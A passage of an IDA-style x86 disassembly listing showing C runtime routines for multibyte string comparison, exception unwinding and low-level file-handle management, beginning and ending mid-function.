		jnz	short loc_4189C3
		movzx	ax, [ebp+var_4]
		jmp	short loc_4189DD
; ---------------------------------------------------------------------------

loc_4189C3:				; CODE XREF: sub_4188C7+F3j
		cmp	eax, 2
		jnz	loc_418A99
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx

loc_4189DD:				; CODE XREF: sub_4188C7+FAj
		inc	[ebp+arg_0]
		movzx	esi, ax
		mov	eax, [ebp+var_10]
		jmp	short loc_418A04
; ---------------------------------------------------------------------------

loc_4189E8:				; CODE XREF: sub_4188C7+C6j
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_418A01
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	esi, cx
		jmp	short loc_418A04
; ---------------------------------------------------------------------------

loc_418A01:				; CODE XREF: sub_4188C7+12Bj
		movzx	esi, dx

loc_418A04:				; CODE XREF: sub_4188C7+CFj
					; sub_4188C7+11Fj ...
		movzx	cx, byte ptr [ebx]
		movzx	ecx, cx
		movzx	edx, cl
		inc	ebx
		test	byte ptr [edx+eax+1Dh],	4
		jz	short loc_418A6B
		cmp	byte ptr [ebx],	0
		jnz	short loc_418A1F
		xor	ecx, ecx
		jmp	short loc_418A87
; ---------------------------------------------------------------------------

loc_418A1F:				; CODE XREF: sub_4188C7+152j
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		lea	ecx, [ebx-1]
		push	ecx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4165B9
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_418A4C
		movzx	ax, [ebp+var_4]
		jmp	short loc_418A62
; ---------------------------------------------------------------------------

loc_418A4C:				; CODE XREF: sub_4188C7+17Cj
		cmp	eax, 2
		jnz	short loc_418A99
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx

loc_418A62:				; CODE XREF: sub_4188C7+183j
		movzx	ecx, ax
		mov	eax, [ebp+var_10]
		inc	ebx
		jmp	short loc_418A87
; ---------------------------------------------------------------------------

loc_418A6B:				; CODE XREF: sub_4188C7+14Dj
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_418A84
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	ecx, cx
		jmp	short loc_418A87
; ---------------------------------------------------------------------------

loc_418A84:				; CODE XREF: sub_4188C7+1AEj
		movzx	ecx, dx

loc_418A87:				; CODE XREF: sub_4188C7+156j
					; sub_4188C7+1A2j ...
		cmp	cx, si
		jnz	short loc_418AB8
		test	si, si
		jz	short loc_418ACD
		mov	edx, [ebp+arg_0]
		jmp	loc_41897A
; ---------------------------------------------------------------------------

loc_418A99:				; CODE XREF: sub_4188C7+FFj
					; sub_4188C7+188j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		cmp	[ebp+var_8], 0
		jz	short loc_418AB1
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418AB1:				; CODE XREF: sub_4188C7+1E1j
		mov	eax, 7FFFFFFFh
		jmp	short loc_418ADC
; ---------------------------------------------------------------------------

loc_418AB8:				; CODE XREF: sub_4188C7+1C3j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_8], 0
		jz	short loc_418ADC
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_418ADC
; ---------------------------------------------------------------------------

loc_418ACD:				; CODE XREF: sub_4188C7+1C8j
		cmp	[ebp+var_8], 0
		jz	short loc_418ADA
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418ADA:				; CODE XREF: sub_4188C7+20Aj
		xor	eax, eax

loc_418ADC:				; CODE XREF: sub_4188C7+1EFj
					; sub_4188C7+1FBj ...
		pop	edi

loc_418ADD:				; CODE XREF: sub_4188C7+7Cj
					; sub_4188C7+9Bj ...
		pop	ebx

loc_418ADE:				; CODE XREF: sub_4188C7+45j
		pop	esi
		leave
		retn
sub_4188C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AE1	proc near		; CODE XREF: sub_4124D4+1E6p
					; sub_4124D4+203p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4188C7
		add	esp, 0Ch
		retn
sub_418AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF4	proc near		; CODE XREF: sub_418C5D+Ep

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_418B09
		xor	eax, eax
		jmp	loc_418C46
; ---------------------------------------------------------------------------

loc_418B09:				; CODE XREF: sub_418AF4+Cj
		push	edi
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	edi, [ebp+var_C]
		cmp	[edi+8], ebx
		jnz	short loc_418B43
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416BB9
		add	esp, 0Ch
		cmp	[ebp+var_4], bl
		jz	loc_418C45
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_418C45
; ---------------------------------------------------------------------------

loc_418B43:				; CODE XREF: sub_418AF4+27j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_418B76
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_418B6C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418B6C:				; CODE XREF: sub_418AF4+6Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_418C45
; ---------------------------------------------------------------------------

loc_418B76:				; CODE XREF: sub_418AF4+52j
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_418BAC
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_418BA2
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418BA2:				; CODE XREF: sub_418AF4+A5j
		mov	eax, 7FFFFFFFh
		jmp	loc_418C44
; ---------------------------------------------------------------------------

loc_418BAC:				; CODE XREF: sub_418AF4+88j
					; sub_418AF4+13Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		dec	[ebp+arg_8]
		movzx	ecx, cx
		movzx	edx, cl
		inc	eax
		test	byte ptr [edx+edi+1Dh],	4
		mov	[ebp+arg_0], eax
		jz	short loc_418BF3
		cmp	[ebp+arg_8], ebx
		jnz	short loc_418BDD
		movzx	eax, byte ptr [esi]
		xor	ecx, ecx
		test	byte ptr [eax+edi+1Dh],	4
		jnz	short loc_418C36
		movzx	eax, ax
		jmp	short loc_418C23
; ---------------------------------------------------------------------------

loc_418BDD:				; CODE XREF: sub_418AF4+D6j
		mov	al, [eax]
		cmp	al, bl
		jnz	short loc_418BE7
		xor	ecx, ecx
		jmp	short loc_418BF3
; ---------------------------------------------------------------------------

loc_418BE7:				; CODE XREF: sub_418AF4+EDj
		xor	edx, edx
		inc	[ebp+arg_0]
		mov	dh, cl
		mov	dl, al
		movzx	ecx, dx

loc_418BF3:				; CODE XREF: sub_418AF4+D1j
					; sub_418AF4+F1j
		movzx	ax, byte ptr [esi]
		movzx	eax, ax
		movzx	edx, al
		inc	esi
		test	byte ptr [edx+edi+1Dh],	4
		jz	short loc_418C23
		cmp	[ebp+arg_8], ebx
		jnz	short loc_418C0E

loc_418C0A:				; CODE XREF: sub_418AF4+121j
		xor	eax, eax
		jmp	short loc_418C23
; ---------------------------------------------------------------------------

loc_418C0E:				; CODE XREF: sub_418AF4+114j
		mov	dl, [esi]
		dec	[ebp+arg_8]
		cmp	dl, bl
		jz	short loc_418C0A
		xor	ebx, ebx
		mov	bh, al
		inc	esi
		mov	bl, dl
		movzx	eax, bx
		xor	ebx, ebx

loc_418C23:				; CODE XREF: sub_418AF4+E7j
					; sub_418AF4+10Fj ...
		cmp	ax, cx
		jnz	short loc_418C49
		cmp	cx, bx
		jz	short loc_418C36
		cmp	[ebp+arg_8], ebx
		jnz	loc_418BAC

loc_418C36:				; CODE XREF: sub_418AF4+E2j
					; sub_418AF4+137j
		cmp	[ebp+var_4], bl
		jz	short loc_418C42
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418C42:				; CODE XREF: sub_418AF4+145j
		xor	eax, eax

loc_418C44:				; CODE XREF: sub_418AF4+B3j
					; sub_418AF4+15Ej ...
		pop	esi

loc_418C45:				; CODE XREF: sub_418AF4+3Dj
					; sub_418AF4+4Aj ...
		pop	edi

loc_418C46:				; CODE XREF: sub_418AF4+10j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418C49:				; CODE XREF: sub_418AF4+132j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_4], bl
		jz	short loc_418C44
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_418C44
sub_418AF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C5D	proc near		; CODE XREF: sub_4124D4+1D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418AF4
		add	esp, 10h
		retn
sub_418C5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_418C8C
		push	dword ptr [ebp+8]
		call	sub_41D9E6

loc_418C8C:				; DATA XREF: .text:00418C7Fo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C94:				; DATA XREF: sub_418CD9+Bo
					; .text:00418D66o
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_418CD8
		mov	eax, [esp+14h]
		mov	ecx, [eax-4]
		xor	ecx, eax
		call	sub_40AFEE
		push	ebp
		mov	ebp, [eax+10h]
		mov	edx, [eax+28h]
		push	edx
		mov	edx, [eax+24h]
		push	edx
		call	sub_418CD9
		add	esp, 8
		pop	ebp
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_418CD8:				; CODE XREF: .text:00418CA4j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418CD9	proc near		; CODE XREF: .text:00418CC0p

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	ebp
		push	eax
		push	0FFFFFFFEh
		push	offset loc_418C94
		push	large dword ptr	fs:0
		mov	eax, dword_423068
		xor	eax, esp
		push	eax
		lea	eax, [esp+24h+var_20]
		mov	large fs:0, eax

loc_418D02:				; CODE XREF: sub_418CD9:loc_418D49j
		mov	eax, [esp+24h+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418D4B
		cmp	[esp+24h+arg_4], 0FFFFFFFFh
		jz	short loc_418D1E
		cmp	esi, [esp+24h+arg_4]
		jbe	short loc_418D4B

loc_418D1E:				; CODE XREF: sub_418CD9+3Dj
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+24h+var_18], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_418D49
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418D89
		mov	eax, [ebx+esi*4+8]
		call	sub_418DA8

loc_418D49:				; CODE XREF: sub_418CD9+57j
		jmp	short loc_418D02
; ---------------------------------------------------------------------------

loc_418D4B:				; CODE XREF: sub_418CD9+36j
					; sub_418CD9+43j
		mov	ecx, [esp+24h+var_20]
		mov	large fs:0, ecx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418CD9	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_418C94
		jnz	short locret_418D7F
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_418D7F
		mov	eax, 1

locret_418D7F:				; CODE XREF: .text:00418D6Dj
					; .text:00418D78j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418D80	proc near		; CODE XREF: sub_4161B0+1Ep
					; sub_4161B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_423F90
		jmp	short loc_418D94
sub_418D80	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D89	proc near		; CODE XREF: sub_41289C+6Ep
					; sub_410B20+1E8Dp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ecx
		mov	ebx, offset dword_423F90
		mov	ecx, [esp+8+arg_0]

loc_418D94:				; CODE XREF: sub_418D80+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		push	ebp
		push	ecx
		push	eax
		pop	eax
		pop	ecx
		pop	ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418D89	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DA8	proc near		; CODE XREF: sub_41289C+7Bp
					; sub_418CD9+6Bp
		call	eax
		retn
sub_418DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DAB	proc near		; CODE XREF: sub_41819F+2BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		push	edi
		jl	short loc_418E0F
		cmp	eax, dword_433CD8
		jnb	short loc_418E0F
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:433CE0h[ecx*4]
		mov	ecx, [edi]
		cmp	dword ptr [esi+ecx], 0FFFFFFFFh
		jnz	short loc_418E0F
		cmp	dword_423060, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_418E05
		sub	eax, 0
		jz	short loc_418DFC
		dec	eax
		jz	short loc_418DF7
		dec	eax
		jnz	short loc_418E05
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_418DFF
; ---------------------------------------------------------------------------

loc_418DF7:				; CODE XREF: sub_418DAB+42j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_418DFF
; ---------------------------------------------------------------------------

loc_418DFC:				; CODE XREF: sub_418DAB+3Fj
		push	ebx
		push	0FFFFFFF6h

loc_418DFF:				; CODE XREF: sub_418DAB+4Aj
					; sub_418DAB+4Fj
		call	ds:off_41E0BC

loc_418E05:				; CODE XREF: sub_418DAB+3Aj
					; sub_418DAB+45j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_418E25
; ---------------------------------------------------------------------------

loc_418E0F:				; CODE XREF: sub_418DAB+8j
					; sub_418DAB+10j ...
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		call	sub_40FCC7
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_418E25:				; CODE XREF: sub_418DAB+62j
		pop	edi
		pop	esi
		retn
sub_418DAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E28	proc near		; CODE XREF: sub_412D21+62p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jl	short loc_418E90
		cmp	ecx, dword_433CD8
		jnb	short loc_418E90
		mov	esi, ecx
		and	esi, 1Fh
		imul	esi, 28h
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:433CE0h[eax*4]
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_418E90
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_418E90
		cmp	dword_423060, 1
		jnz	short loc_418E86
		sub	ecx, ebx
		jz	short loc_418E7D
		dec	ecx
		jz	short loc_418E78
		dec	ecx
		jnz	short loc_418E86
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_418E80
; ---------------------------------------------------------------------------

loc_418E78:				; CODE XREF: sub_418E28+46j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_418E80
; ---------------------------------------------------------------------------

loc_418E7D:				; CODE XREF: sub_418E28+43j
		push	ebx
		push	0FFFFFFF6h

loc_418E80:				; CODE XREF: sub_418E28+4Ej
					; sub_418E28+53j
		call	ds:off_41E0BC

loc_418E86:				; CODE XREF: sub_418E28+3Fj
					; sub_418E28+49j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_418EA5
; ---------------------------------------------------------------------------

loc_418E90:				; CODE XREF: sub_418E28+Bj
					; sub_418E28+13j ...
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		call	sub_40FCC7
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh

loc_418EA5:				; CODE XREF: sub_418E28+66j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418E28	endp


; =============== S U B	R O U T	I N E =======================================



sub_418EA9	proc near		; CODE XREF: sub_412D21+7p
					; sub_412D21+2Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_418EC9
		call	sub_40FCC7
		and	dword ptr [eax], 0
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_418EC9:				; CODE XREF: sub_418EA9+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_418EF2
		cmp	eax, dword_433CD8
		jnb	short loc_418EF2
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433CE0[ecx*4]
		add	eax, ecx
		test	byte ptr [eax+4], 1
		jnz	short loc_418F16

loc_418EF2:				; CODE XREF: sub_418EA9+25j
					; sub_418EA9+2Dj
		call	sub_40FCC7
		mov	[eax], esi
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418F16:				; CODE XREF: sub_418EA9+47j
		mov	eax, [eax]
		pop	esi
		retn
sub_418EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F1A	proc near		; CODE XREF: sub_412DB5+7Fp
					; sub_41461F+7Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421F78
		call	__SEH_prolog4
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		sar	eax, 5
		mov	esi, edi
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_433CE0[eax*4]
		mov	[ebp+var_1C], 1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_418F81
		push	0Ah
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi+8], ebx
		jnz	short loc_418F75
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416DD4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_418F72
		mov	[ebp+var_1C], ebx

loc_418F72:				; CODE XREF: sub_418F1A+53j
		inc	dword ptr [esi+8]

loc_418F75:				; CODE XREF: sub_418F1A+3Fj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_418FB1

loc_418F81:				; CODE XREF: sub_418F1A+2Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_418FA3
		mov	eax, edi
		sar	eax, 5
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, dword_433CE0[eax*4]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	ds:dword_41E168	; RtlEnterCriticalSection

loc_418FA3:				; CODE XREF: sub_418F1A+6Aj
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_418F1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FAC	proc near		; DATA XREF: ev73vtp2:00421F90o
		xor	ebx, ebx
		mov	edi, [ebp+8]
sub_418FAC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418FB1	proc near		; CODE XREF: sub_418F1A+62p
		push	0Ah
		call	sub_40FDFF
		pop	ecx
		retn
sub_418FB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FBA	proc near		; CODE XREF: sub_412E78+3p
					; sub_4146F1+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433CE0[ecx*4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	ds:dword_41E16C	; RtlLeaveCriticalSection
		retn
sub_418FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FDC	proc near		; CODE XREF: sub_41819F:loc_418395p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 004190B8 SIZE 000000BA BYTES

		push	18h
		push	offset dword_421F98
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	edi, edi
		mov	[ebp+var_24], edi
		push	0Bh
		call	sub_40FE14
		pop	ecx
		test	eax, eax
		jnz	short loc_419005
		or	eax, 0FFFFFFFFh
		jmp	loc_41916C
; ---------------------------------------------------------------------------

loc_419005:				; CODE XREF: sub_418FDC+1Fj
		push	0Bh
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi

loc_419010:				; CODE XREF: sub_418FDC+109j
		mov	[ebp+var_28], edi
		cmp	edi, 40h
		jge	loc_41915D
		mov	esi, dword_433CE0[edi*4]
		test	esi, esi
		jz	loc_4190EA

loc_41902B:				; CODE XREF: sub_418FDC+CBj
		mov	[ebp+var_20], esi
		mov	eax, dword_433CE0[edi*4]
		add	eax, 500h
		cmp	esi, eax
		jnb	loc_4190DE
		test	byte ptr [esi+4], 1
		jnz	short loc_4190A4
		cmp	dword ptr [esi+8], 0
		jnz	short loc_419087
		push	0Ah
		call	sub_40FED7
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41907E
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416DD4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41907B
		mov	[ebp+var_24], ebx
		jmp	short loc_41907E
; ---------------------------------------------------------------------------

loc_41907B:				; CODE XREF: sub_418FDC+98j
		inc	dword ptr [esi+8]

loc_41907E:				; CODE XREF: sub_418FDC+84j
					; sub_418FDC+9Dj
		and	[ebp+ms_exc.disabled], 0
		call	sub_4190AF

loc_419087:				; CODE XREF: sub_418FDC+70j
		cmp	[ebp+var_24], 0
		jnz	short loc_4190A4
		lea	ebx, [esi+0Ch]
		push	ebx
		call	ds:dword_41E168	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_4190B8
		push	ebx
		call	ds:dword_41E16C	; RtlLeaveCriticalSection

loc_4190A4:				; CODE XREF: sub_418FDC+6Aj
					; sub_418FDC+AFj ...
		add	esi, 28h
		jmp	short loc_41902B
sub_418FDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A9	proc near		; DATA XREF: ev73vtp2:00421FBCo
		mov	edi, [ebp-28h]
		mov	esi, [ebp-20h]
sub_4190A9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4190AF	proc near		; CODE XREF: sub_418FDC+A6p
		push	0Ah
		call	sub_40FDFF
		pop	ecx
		retn
sub_4190AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418FDC

loc_4190B8:				; CODE XREF: sub_418FDC+BFj
		cmp	[ebp+var_24], 0
		jnz	short loc_4190A4
		mov	byte ptr [esi+4], 1
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, dword_433CE0[edi*4]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		mov	ecx, edi
		shl	ecx, 5
		add	eax, ecx
		mov	[ebp+var_1C], eax

loc_4190DE:				; CODE XREF: sub_418FDC+60j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_41915D
		inc	edi
		jmp	loc_419010
; ---------------------------------------------------------------------------

loc_4190EA:				; CODE XREF: sub_418FDC+49j
		push	28h
		push	20h
		call	sub_411ECA
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_41915D
		lea	ecx, ds:433CE0h[edi*4]
		mov	[ecx], eax
		add	dword_433CD8, 20h

loc_41910C:				; CODE XREF: sub_418FDC+151j
		mov	edx, [ecx]
		add	edx, 500h
		cmp	eax, edx
		jnb	short loc_41912F
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		add	eax, 28h
		mov	[ebp+var_20], eax
		jmp	short loc_41910C
; ---------------------------------------------------------------------------

loc_41912F:				; CODE XREF: sub_418FDC+13Aj
		shl	edi, 5
		mov	[ebp+var_1C], edi
		mov	eax, edi
		sar	eax, 5
		mov	ecx, edi
		and	ecx, 1Fh
		imul	ecx, 28h
		mov	eax, dword_433CE0[eax*4]
		mov	byte ptr [eax+ecx+4], 1
		push	edi
		call	sub_418F1A
		pop	ecx
		test	eax, eax
		jnz	short loc_41915D
		or	[ebp+var_1C], 0FFFFFFFFh

loc_41915D:				; CODE XREF: sub_418FDC+3Aj
					; sub_418FDC+106j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_419172
		mov	eax, [ebp+var_1C]

loc_41916C:				; CODE XREF: sub_418FDC+24j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_418FDC

; =============== S U B	R O U T	I N E =======================================



sub_419172	proc near		; CODE XREF: sub_418FDC+188p
					; DATA XREF: ev73vtp2:00421FB0o
		push	0Bh
		call	sub_40FDFF
		pop	ecx
		retn
sub_419172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41917B	proc near		; CODE XREF: sub_412F10+31p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421FC0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4191A2
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_41919A:				; CODE XREF: sub_41917B+4Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41924C
; ---------------------------------------------------------------------------

loc_4191A2:				; CODE XREF: sub_41917B+12j
		xor	ebx, ebx
		cmp	eax, ebx
		jl	short loc_4191B0
		cmp	eax, dword_433CD8
		jb	short loc_4191CA

loc_4191B0:				; CODE XREF: sub_41917B+2Bj
					; sub_41917B+6Dj
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_41919A
; ---------------------------------------------------------------------------

loc_4191CA:				; CODE XREF: sub_41917B+33j
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:433CE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [edi]
		movzx	ecx, byte ptr [esi+ecx+4]
		and	ecx, 1
		jz	short loc_4191B0
		push	eax
		call	sub_418F1A
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		mov	eax, [edi]
		test	byte ptr [esi+eax+4], 1
		jz	short loc_41922E
		push	[ebp+arg_0]
		call	sub_418EA9
		pop	ecx
		push	eax
		call	ds:off_41E0B8
		test	eax, eax
		jnz	short loc_41921C
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_41921F
; ---------------------------------------------------------------------------

loc_41921C:				; CODE XREF: sub_41917B+94j
		mov	[ebp+var_1C], ebx

loc_41921F:				; CODE XREF: sub_41917B+9Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_41923D
		call	sub_40FCC7
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx

loc_41922E:				; CODE XREF: sub_41917B+80j
